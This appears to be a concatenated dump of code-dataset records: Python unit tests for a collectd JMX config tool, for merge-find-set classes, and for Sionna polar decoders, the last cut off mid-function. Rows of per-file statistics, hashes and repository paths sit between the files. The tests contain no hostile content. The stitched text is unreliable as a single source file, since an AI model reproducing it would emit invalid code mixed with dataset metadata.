self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jira.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.connection.inc.stub')))
app.close()
#########################################################################################
# Collectd-FastJmx specific
#########################################################################################
def test_normal_start_and_stop_on_jenkins_with_fastjmx(self):
config_control_string = """
app_list :
- jenkins
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_fastjmx', '-otest.output', '-i ', '-d'+ config_control_string])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.type, 'collectd_fastjmx')
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_on_cassandra_with_fastjmx(self):
config_control_string = """
app_list :
- cassandra
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_fastjmx', '-otest.output', '-i ', '-d'+ config_control_string])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.type, 'collectd_fastjmx')
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_with_apps_list_with_fastjmx(self):
config_control_string = """
app_list :
- cassandra
- jenkins
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_fastjmx', '-otest.output', '-i ', '-d'+ config_control_string])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_with_all_exampl_apps_with_fastjmx(self):
config_control_string = """
app_list :
- cassandra
- jenkins
- jira
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_fastjmx', '-otest.output', '-i ', '-d'+ config_control_string])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jira.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jira.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_fastjmx.connection.inc.stub')))
app.close()
| 42.459375
| 97
| 0.640612
| 1,395
| 13,587
| 5.969892
| 0.080287
| 0.080692
| 0.10951
| 0.121037
| 0.903338
| 0.903338
| 0.903338
| 0.895653
| 0.893612
| 0.891571
| 0
| 0.000745
| 0.209539
| 13,587
| 319
| 98
| 42.592476
| 0.774674
| 0.005226
| 0
| 0.834646
| 0
| 0
| 0.217616
| 0.119134
| 0
| 0
| 0
| 0
| 0.318898
| 1
| 0.047244
| false
| 0
| 0.023622
| 0
| 0.082677
| 0.003937
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c3de35d8d16a506ba39e16c2eab1f0179abf0ca8
| 6,911
|
py
|
Python
|
src/tests/datastructures/test_mergefindsets.py
|
DavidLlorens/algoritmia
|
40ca0a89ea6de9b633fa5f697f0a28cae70816a2
|
[
"MIT"
] | 6
|
2018-09-15T15:09:10.000Z
|
2022-02-27T01:23:11.000Z
|
src/tests/datastructures/test_mergefindsets.py
|
JeromeIllgner/algoritmia
|
406afe7206f2411557859bf03480c16db7dcce0d
|
[
"MIT"
] | null | null | null |
src/tests/datastructures/test_mergefindsets.py
|
JeromeIllgner/algoritmia
|
406afe7206f2411557859bf03480c16db7dcce0d
|
[
"MIT"
] | 5
|
2018-07-10T20:19:55.000Z
|
2021-03-31T03:32:22.000Z
|
#coding: latin1
import unittest
from algoritmia.datastructures.mergefindsets import (NaiveMergeFindSet, RankUnionMFset,
PathCompressionMFset, MergeFindSet)
from algoritmia.datastructures.maps import IntKeyMap
class TestNaiveMFset(unittest.TestCase):
def setUp(self):
self.mf1 = NaiveMergeFindSet()
self.mf2 = NaiveMergeFindSet(((i,) for i in range(10)), createMap=lambda nodes: IntKeyMap(capacity=max(nodes)+1))
def test_mfsets(self):
for i in range(10):
self.mf1.add(i)
for i in range(10):
self.assertEqual(self.mf1.find(i), i)
self.assertEqual(self.mf2.find(i), i)
for i in range(0, 10, 2):
self.mf1.merge(i, i+1)
self.mf2.merge(i, i+1)
for i in range(0, 10, 2):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
for i in range(0, 10-3, 4):
self.mf1.merge(i, i+3)
self.mf2.merge(i, i+3)
for i in range(0, 10-4, 4):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+2))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+3))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+2))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+3))
def test_repr(self):
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all = set(frozenset(v) for v in aux.values())
mf2 = eval(repr(self.mf2))
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all2 = set(frozenset(v) for v in aux.values())
self.assertEqual(all, all2)
class TestRankUnionMFset(unittest.TestCase):
def setUp(self):
self.mf1 = RankUnionMFset()
self.mf2 = RankUnionMFset(((i,) for i in range(10)), createMap=lambda nodes: IntKeyMap(capacity=max(nodes)+1))
def test_mfsets(self):
for i in range(10):
self.mf1.add(i)
for i in range(10):
self.assertEqual(self.mf1.find(i), i)
self.assertEqual(self.mf2.find(i), i)
for i in range(0, 10, 2):
self.mf1.merge(i, i+1)
self.mf2.merge(i, i+1)
for i in range(0, 10, 2):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
for i in range(0, 10-3, 4):
self.mf1.merge(i, i+3)
self.mf2.merge(i, i+3)
for i in range(0, 10-4, 4):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+2))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+3))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+2))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+3))
def test_repr(self):
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all = set(frozenset(v) for v in aux.values())
mf2 = eval(repr(self.mf2))
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all2 = set(frozenset(v) for v in aux.values())
self.assertEqual(all, all2)
class TestPathCompressionMFset(unittest.TestCase):
def setUp(self):
self.mf1 = PathCompressionMFset()
self.mf2 = PathCompressionMFset(((i,) for i in range(10)), createMap=lambda nodes: IntKeyMap(capacity=max(nodes)+1))
def test_mfsets(self):
for i in range(10):
self.mf1.add(i)
for i in range(10):
self.assertEqual(self.mf1.find(i), i)
self.assertEqual(self.mf2.find(i), i)
for i in range(0, 10, 2):
self.mf1.merge(i, i+1)
self.mf2.merge(i, i+1)
for i in range(0, 10, 2):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
for i in range(0, 10-3, 4):
self.mf1.merge(i, i+3)
self.mf2.merge(i, i+3)
for i in range(0, 10-4, 4):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+2))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+3))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+2))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+3))
def test_repr(self):
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all = set(frozenset(v) for v in aux.values())
mf2 = eval(repr(self.mf2))
aux = dict((i, set()) for i in range(10))
for i in range(10):
aux[self.mf2.find(i)].add(i)
all2 = set(frozenset(v) for v in aux.values())
self.assertEqual(all, all2)
class TestMFset(unittest.TestCase):
def setUp(self):
self.mf1 = MergeFindSet()
self.mf2 = MergeFindSet(((i,) for i in range(10)), createMap=lambda nodes: IntKeyMap(capacity=max(nodes)+1))
def test_mfsets(self):
for i in range(10):
self.mf1.add(i)
for i in range(10):
self.assertEqual(self.mf1.find(i), i)
self.assertEqual(self.mf2.find(i), i)
for i in range(0, 10, 2):
self.mf1.merge(i, i+1)
self.mf2.merge(i, i+1)
for i in range(0, 10, 2):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
for i in range(0, 10-3, 4):
self.mf1.merge(i, i+3)
self.mf2.merge(i, i+3)
for i in range(0, 10-4, 4):
self.assertEqual(self.mf1.find(i), self.mf1.find(i+1))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+2))
self.assertEqual(self.mf1.find(i), self.mf1.find(i+3))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+1))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+2))
self.assertEqual(self.mf2.find(i), self.mf2.find(i+3))
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main()
| 42.925466
| 125
| 0.544784
| 1,053
| 6,911
| 3.561254
| 0.058879
| 0.104
| 0.1232
| 0.1344
| 0.878133
| 0.878133
| 0.878133
| 0.8408
| 0.8408
| 0.8408
| 0
| 0.059938
| 0.297497
| 6,911
| 161
| 126
| 42.925466
| 0.712461
| 0.008248
| 0
| 0.874126
| 0
| 0
| 0.001195
| 0
| 0
| 0
| 0
| 0
| 0.300699
| 1
| 0.076923
| false
| 0
| 0.020979
| 0
| 0.125874
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
616e850e10a42a292c087a4d15f7fbd13f3cf806
| 43,368
|
py
|
Python
|
test/test_polar_decoding.py
|
NVlabs/sionna
|
488e6c3ff6ff2b3313d0ca0f94e4247b8dd6ff35
|
[
"Apache-2.0"
] | 163
|
2022-03-22T19:47:47.000Z
|
2022-03-31T23:56:45.000Z
|
test/test_polar_decoding.py
|
NVlabs/sionna
|
488e6c3ff6ff2b3313d0ca0f94e4247b8dd6ff35
|
[
"Apache-2.0"
] | 2
|
2022-03-24T12:43:07.000Z
|
2022-03-29T07:17:16.000Z
|
test/test_polar_decoding.py
|
NVlabs/sionna
|
488e6c3ff6ff2b3313d0ca0f94e4247b8dd6ff35
|
[
"Apache-2.0"
] | 19
|
2022-03-23T02:31:22.000Z
|
2022-03-30T06:35:12.000Z
|
#
# SPDX-FileCopyrightText: Copyright (c) 2021-2022 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
# SPDX-License-Identifier: Apache-2.0
#
try:
import sionna
except ImportError as e:
import sys
sys.path.append("../")
import tensorflow as tf
gpus = tf.config.list_physical_devices('GPU')
print('Number of GPUs available :', len(gpus))
if gpus:
gpu_num = 0 # Number of the GPU to be used
try:
tf.config.set_visible_devices(gpus[gpu_num], 'GPU')
print('Only GPU number', gpu_num, 'used.')
tf.config.experimental.set_memory_growth(gpus[gpu_num], True)
except RuntimeError as e:
print(e)
import unittest
import pytest # for pytest filterwarnings
import numpy as np
from sionna.fec.polar.encoding import PolarEncoder, Polar5GEncoder
from sionna.fec.polar.decoding import PolarSCDecoder, PolarSCLDecoder, PolarBPDecoder
from sionna.fec.polar.decoding import Polar5GDecoder
from sionna.fec.crc import CRCEncoder
from sionna.fec.utils import GaussianPriorSource
from sionna.utils import BinarySource
from sionna.fec.polar.utils import generate_5g_ranking
class TestPolarDecodingSC(unittest.TestCase):
def test_invalid_inputs(self):
"""Test against invalid values of n and frozen_pos."""
# frozen vec to long
n = 32
frozen_pos = np.arange(n+1)
with self.assertRaises(AssertionError):
PolarSCDecoder(frozen_pos, n)
# n not a pow of 2
# frozen vec to long
n = 32
k = 12
frozen_pos,_ = generate_5g_ranking(k, n)
with self.assertRaises(AssertionError):
PolarSCDecoder(frozen_pos, n+1)
# test valid shapes
# (k, n)
param_valid = [[0, 32], [10, 32], [32, 32], [100, 256],
[123, 1024], [1024, 1024]]
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0], p[1])
PolarSCDecoder(frozen_pos, p[1])
# no complex-valued input allowed
with self.assertRaises(ValueError):
frozen_pos,_ = generate_5g_ranking(32, 64)
PolarSCDecoder(frozen_pos, 64, output_dtype=tf.complex64)
def test_output_dim(self):
"""Test that output dims are correct (=n) and output equals all-zero
codeword."""
bs = 10
# (k, n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256], [123, 1024],
[1024, 1024]]
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
dec = PolarSCDecoder(frozen_pos, p[1])
c = -10. * np.ones([bs, p[1]]) # all-zero with BPSK (no noise);logits
u = dec(c).numpy()
self.assertTrue(u.shape[-1]==p[0])
# also check that all-zero input yields all-zero output
u_hat = np.zeros([bs, p[0]])
self.assertTrue(np.array_equal(u, u_hat))
def test_numerical_stab(self):
"""Test for numerical stability (no nan or infty as output)."""
bs = 10
# (k,n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256]]
source = GaussianPriorSource()
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
dec = PolarSCDecoder(frozen_pos, p[1])
# case 1: extremely large inputs
c = source([[bs, p[1]], 0.0001])
# llrs
u1 = dec(c).numpy()
# no nan
self.assertFalse(np.any(np.isnan(u1)))
#no inftfy
self.assertFalse(np.any(np.isinf(u1)))
self.assertFalse(np.any(np.isneginf(u1)))
# case 2: zero llr input
c = tf.zeros([bs, p[1]])
# llrs
u2 = dec(c).numpy()
# no nan
self.assertFalse(np.any(np.isnan(u2)))
#no inftfy
self.assertFalse(np.any(np.isinf(u2)))
self.assertFalse(np.any(np.isneginf(u2)))
def test_identity(self):
"""test that info bits can be recovered if no noise is added."""
bs = 10
# (k, n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256], [123, 1024],
[1024, 1024]]
for p in param_valid:
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
enc = PolarEncoder(frozen_pos, p[1])
dec = PolarSCDecoder(frozen_pos, p[1])
u = source([bs, p[0]])
c = enc(u)
llr_ch = 20.*(2.*c-1) # demod BPSK witout noise
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u.numpy(), u_hat.numpy()))
def test_keras(self):
"""Test that Keras model can be compiled (supports dynamic shapes)."""
bs = 10
k = 100
n = 128
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
inputs = tf.keras.Input(shape=(n), dtype=tf.float32)
x = PolarSCDecoder(frozen_pos, n)(inputs)
model = tf.keras.Model(inputs=inputs, outputs=x)
b = source([bs, n])
model(b)
# call twice to see that bs can change
b2 = source([bs+1, n])
model(b2)
model.summary()
def test_multi_dimensional(self):
"""Test against arbitrary shapes.
"""
k = 120
n = 256
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
dec = PolarSCDecoder(frozen_pos, n)
b = source([100, n])
b_res = tf.reshape(b, [4, 5, 5, n])
# encode 2D Tensor
c = dec(b).numpy()
# encode 4D Tensor
c_res = dec(b_res).numpy()
# and reshape to 2D shape
c_res = tf.reshape(c_res, [100, k])
# both version should yield same result
self.assertTrue(np.array_equal(c, c_res))
def test_batch(self):
"""Test that all samples in batch yield same output (for same input).
"""
bs = 100
k = 120
n = 256
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
dec = PolarSCDecoder(frozen_pos, n)
b = source([1,15,n])
b_rep = tf.tile(b, [bs, 1, 1])
# and run tf version (to be tested)
c = dec(b_rep).numpy()
for i in range(bs):
self.assertTrue(np.array_equal(c[0,:,:], c[i,:,:]))
def test_tf_fun(self):
"""Test that graph mode works and xla is supported."""
@tf.function
def run_graph(u):
return dec(u)
@tf.function(jit_compile=True)
def run_graph_xla(u):
return dec(u)
bs = 10
k = 100
n = 128
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
dec = PolarSCDecoder(frozen_pos, n)
u = source([bs, n])
x = run_graph(u).numpy()
# execute the graph twice
x = run_graph(u).numpy()
# and change batch_size
u = source([bs+1, n])
x = run_graph(u).numpy()
# run same test for XLA (jit_compile=True)
u = source([bs, n])
x = run_graph_xla(u).numpy()
x = run_graph_xla(u).numpy()
u = source([bs+1, n])
x = run_graph_xla(u).numpy()
def test_ref_implementation(self):
"""Test against pre-calculated results from internal implementation.
"""
ref_path = '../test/codes/polar/'
filename = ["P_128_37", "P_128_110", "P_256_128"]
for f in filename:
A = np.load(ref_path + f + "_Avec.npy")
llr_ch = np.load(ref_path + f + "_Lch.npy")
u_hat = np.load(ref_path + f + "_uhat.npy")
frozen_pos = np.array(np.where(A==0)[0])
info_pos = np.array(np.where(A==1)[0])
n = len(frozen_pos) + len(info_pos)
k = len(info_pos)
dec = PolarSCDecoder(frozen_pos, n)
l_in = -1. * llr_ch # logits
u_hat_tf = dec(l_in).numpy()
# the output should be equal to the reference
self.assertTrue(np.array_equal(u_hat_tf, u_hat))
def test_dtype_flexible(self):
"""Test that output_dtype can be flexible."""
batch_size = 100
k = 30
n = 64
source = GaussianPriorSource()
frozen_pos, _ = generate_5g_ranking(k, n)
dtypes_supported = (tf.float16, tf.float32, tf.float64)
for dt_in in dtypes_supported:
for dt_out in dtypes_supported:
llr = source([[batch_size, n], 0.5])
llr = tf.cast(llr, dt_in)
dec = PolarSCDecoder(frozen_pos, n, output_dtype=dt_out)
x = dec(llr)
self.assertTrue(x.dtype==dt_out)
# test that complex-valued inputs raise error
llr = source([[batch_size, n], 0.5])
llr_c = tf.complex(llr, tf.zeros_like(llr))
dec = PolarSCDecoder(frozen_pos, n, output_dtype=tf.float32)
with self.assertRaises(TypeError):
x = dec(llr_c)
class TestPolarDecodingSCL(unittest.TestCase):
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_invalid_inputs(self):
"""Test against invalid values of n and frozen_pos."""
# frozen vec to long
n = 32
frozen_pos = np.arange(n+1)
with self.assertRaises(AssertionError):
PolarSCLDecoder(frozen_pos, n)
# n not a pow of 2
# frozen vec to long
n = 32
k = 12
frozen_pos,_ = generate_5g_ranking(k, n)
with self.assertRaises(AssertionError):
PolarSCLDecoder(frozen_pos, n+1)
# also test valid shapes
# (k, n)
param_valid = [[0, 32], [10, 32], [32, 32], [100, 256],
[123, 1024], [1024, 1024]]
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
PolarSCLDecoder(frozen_pos, p[1])
# no complex-valued input allowed
with self.assertRaises(ValueError):
frozen_pos,_ = generate_5g_ranking(32, 64)
PolarSCLDecoder(frozen_pos, 64, output_dtype=tf.complex64)
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_output_dim(self):
"""Test that output dims are correct (=n) and output is the all-zero
codeword."""
bs = 10
# (k, n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256], [123, 1024],
[1024, 1024]]
# use_hybrid, use_fast_scl, cpu_only, use_scatter
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0], p[1])
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
p[1],
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
# all-zero with BPSK (no noise);logits
c = -10. * np.ones([bs, p[1]])
u = dec(c).numpy()
# check shape
self.assertTrue(u.shape[-1]==p[0])
# also check that all-zero input yields all-zero
u_hat = np.zeros([bs, p[0]])
self.assertTrue(np.array_equal(u, u_hat))
# also test different list sizes
n = 32
k = 16
frozen_pos, _ = generate_5g_ranking(k, n)
list_sizes = [1, 2, 8, 32]
for list_size in list_sizes:
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
n,
list_size=list_size,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
# all-zero with BPSK (no noise);logits
c = -10. * np.ones([bs, n])
u = dec(c).numpy()
self.assertTrue(u.shape[-1]==k)
# also check that all-zero input yields all-zero
u_hat = np.zeros([bs, k])
self.assertTrue(np.array_equal(u, u_hat))
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_numerical_stab(self):
"""Test for numerical stability (no nan or infty as output)"""
bs = 10
# (k, n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256]]
source = GaussianPriorSource()
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0], p[1])
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
p[1],
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
# case 1: extremely large inputs
c = source([[bs, p[1]], 0.0001])
# llrs
u1 = dec(c).numpy()
# no nan
self.assertFalse(np.any(np.isnan(u1)))
#no inftfy
self.assertFalse(np.any(np.isinf(u1)))
self.assertFalse(np.any(np.isneginf(u1)))
# case 2: zero input
c = tf.zeros([bs, p[1]])
# llrs
u2 = dec(c).numpy()
# no nan
self.assertFalse(np.any(np.isnan(u2)))
#no inftfy
self.assertFalse(np.any(np.isinf(u2)))
self.assertFalse(np.any(np.isneginf(u2)))
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_identity(self):
"""Test that info bits can be recovered if no noise is added."""
bs = 10
# (k,n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256]]
source = BinarySource()
# use_hybrid, use_fast_scl, cpu_only, use_scatter
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0], p[1])
enc = PolarEncoder(frozen_pos, p[1])
u = source([bs, p[0]])
c = enc(u)
llr_ch = 200.*(2.*c-1) # demod BPSK witout noise
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
p[1],
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u.numpy(),
u_hat.numpy()))
# also test different list sizes
n = 32
k = 16
crc_degree = "CRC11"
frozen_pos, _ = generate_5g_ranking(k, n)
enc = PolarEncoder(frozen_pos, n)
enc_crc = CRCEncoder(crc_degree)
u = source([bs, k-enc_crc.crc_length])
u_crc = enc_crc(u)
c = enc(u_crc)
llr_ch = 200.*(2.*c-1) # demod BPSK witout noise
list_sizes = [1, 2, 8, 32]
for list_size in list_sizes:
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
n,
list_size=list_size,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter,
crc_degree=crc_degree)
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u_crc.numpy(),
u_hat.numpy()))
def test_keras(self):
"""Test that Keras model can be compiled (supports dynamic shapes)."""
bs = 10
k = 16
n = 32
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
inputs = tf.keras.Input(shape=(n), dtype=tf.float32)
x = PolarSCLDecoder(frozen_pos,
n,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)(inputs)
model = tf.keras.Model(inputs=inputs, outputs=x)
b = source([bs,n])
model(b)
# call twice to see that bs can change
b2 = source([bs+1,n])
model(b2)
model.summary()
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_multi_dimensional(self):
"""Test against multi-dimensional input shapes.
As reshaping is done before calling the actual decoder, no exhaustive
testing against all decoder options is required.
"""
k = 120
n = 256
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
dec = PolarSCLDecoder(frozen_pos, n)
b = source([100, n])
b_res = tf.reshape(b, [4, 5, 5, n])
# encode 2D Tensor
c = dec(b).numpy()
# encode 4D Tensor
c_res = dec(b_res).numpy()
# and reshape to 2D shape
c_res = tf.reshape(c_res, [100, k])
# both version should yield same result
self.assertTrue(np.array_equal(c, c_res))
def test_batch(self):
"""Test that all samples in batch yield same output (for same input).
"""
bs = 100
k = 78
n = 128
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
n,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
b = source([1,15,n])
b_rep = tf.tile(b, [bs, 1, 1])
# and run tf version (to be tested)
c = dec(b_rep).numpy()
for i in range(bs):
self.assertTrue(np.array_equal(c[0,:,:], c[i,:,:]))
def test_tf_fun(self):
"""Test that graph mode works and XLA is supported."""
bs = 10
k = 16
n = 32
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
crc_degrees = [None, "CRC11"]
for crc_degree in crc_degrees:
for use_fast_scl in [False, True]:
for cpu_only in [False, True]:
for use_scatter in [False, True]:
@tf.function
def run_graph(u):
return dec(u)
@tf.function(jit_compile=True)
def run_graph_xla(u):
return dec(u)
dec = PolarSCLDecoder(frozen_pos,
n,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter,
crc_degree=crc_degree)
# test that for arbitrary input only binary values are
# returned
u = source([bs, n])
x = run_graph(u).numpy()
# execute the graph twice
x = run_graph(u).numpy()
# and change batch_size
u = source([bs+1, n])
x = run_graph(u).numpy()
if not cpu_only: # cpu only does not support XLA
# run same test for XLA (jit_compile=True)
u = source([bs, n])
x = run_graph_xla(u).numpy()
x = run_graph_xla(u).numpy()
u = source([bs+1, n])
x = run_graph_xla(u).numpy()
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_ref_implementation(self):
"""Test against pre-calculated results from internal implementation.
Also verifies that all decoding options yield same results.
Remark: results are for SC only, i.e., list_size=1.
"""
ref_path = '../test/codes/polar/'
filename = ["P_128_37", "P_128_110", "P_256_128"]
for f in filename:
A = np.load(ref_path + f + "_Avec.npy")
llr_ch = np.load(ref_path + f + "_Lch.npy")
u_hat = np.load(ref_path + f + "_uhat.npy")
frozen_pos = np.array(np.where(A==0)[0])
info_pos = np.array(np.where(A==1)[0])
n = len(frozen_pos) + len(info_pos)
k = len(info_pos)
for use_fast_scl in [False, True]:
